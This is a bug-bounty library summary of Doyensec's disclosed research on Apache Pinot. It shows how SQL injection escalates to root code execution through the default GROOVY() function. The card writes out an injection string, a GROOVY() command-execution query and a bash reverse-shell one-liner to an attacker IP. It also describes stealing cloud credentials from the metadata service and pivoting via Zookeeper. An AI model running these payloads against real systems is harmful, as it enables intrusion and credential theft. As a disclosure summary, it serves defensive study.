# Apache Pinot SQLi and RCE Cheat Sheet

Apache Pinot's default-enabled GROOVY() SQL function lets any SQLi escalate to root RCE on Servers, enabling cluster-wide compromise and AWS credential theft.

- Payout: Research
- Severity: critical
- Program: Apache Pinot
- Credited: Doyensec
- Disclosed: 2022-06-08
- Write-up quality: 8/10
- Original: https://blog.doyensec.com/2022/06/09/apache-pinot-sqli-rce.html
- Library page: https://bugbountylibrary.com/r/blog%3Ablog-doyensec-com-2022-06-09-apache-pinot-sqli-rce-html
- Tags: domain:web3 impact:internal-access impact:privesc impact:rce kind:research platform:research sev:critical tech:java technique:chained technique:source-review vuln:rce vuln:sqli

**Target:** Pinot Broker SQL query endpoint / Server GROOVY() function
**Root cause:** Pinot trusts anyone who can query the database to execute Groovy code on Servers as root; the GROOVY() function is enabled by default and no prepared statements exist, so SQLi in a Pinot-backed API yields code execution.
**Steps:**
1. Identify Pinot backend via syntax quirks (CONCAT 3-arg, SUBSTR end-index, no @@VERSION, no UNION).
2. Find SQLi where user input lands in query body, e.g. `REGEXP_LIKE(product_name,'{query}')`.
3. Inject `!xyz') OR store_id - store_id = 0 OR (product_name = 'abc!` to bypass filters and dump all rows.
4. Escalate with `SELECT * FROM myTable WHERE groovy('{"returnType":"INT","isSingleValue":true}','println "whoami".execute().text; return 1') = 1 limit 5`.
5. Spawn reverse shell: `["bash","-c","bash -i >& /dev/tcp/IP/443 0>&1 &"].execute()`.
6. Limit to one row via `if (arg0 == "489") {...}` to avoid DoS.
7. Read /proc/1/cmdline for -zkAddress and config path; use zkCli to enumerate /pinot/CONFIGS/PARTICIPANT.
8. Pivot: modify broker HELIX_HOST in Zookeeper or via Controller PUT /instances to intercept queries; use IN_SUBQUERY with GROOVY to RCE other Servers.
**How found:** Pentesters familiar with classic DBs mapped Pinot's Calcite-based syntax, discovered undocumented toUtf8 in source, and noticed OPTION() can appear anywhere including inside strings; reading source revealed GROOVY() executes arbitrary Groovy as root by default.
**Exploitation:** Attacker with SQLi in a Pinot-backed API injects a GROOVY() filter; the Broker scatters the query to Servers which execute the Groovy script as root per row, yielding command execution, reverse shells, and IMDS credential theft via curl to 169.254.169.254.
**Escalation:** Root on one Server -> read Zookeeper address from /proc/1/cmdline -> enumerate participants -> rewrite broker HELIX_HOST to attacker host to intercept all queries, or use Controller REST PUT /instances; IN_SUBQUERY+GROOVY to RCE Servers holding other tables.
**Insight:** Pinot's OPTION(key=value) is parsed anywhere in the query including inside string literals, so a regex-based sanitizer stripping /option\([^)]+\)/i can be abused to comment out WHERE clauses; also GROOVY() bypasses the 'filter must reference a column' rule, making it a direct RCE primitive from any SQLi.
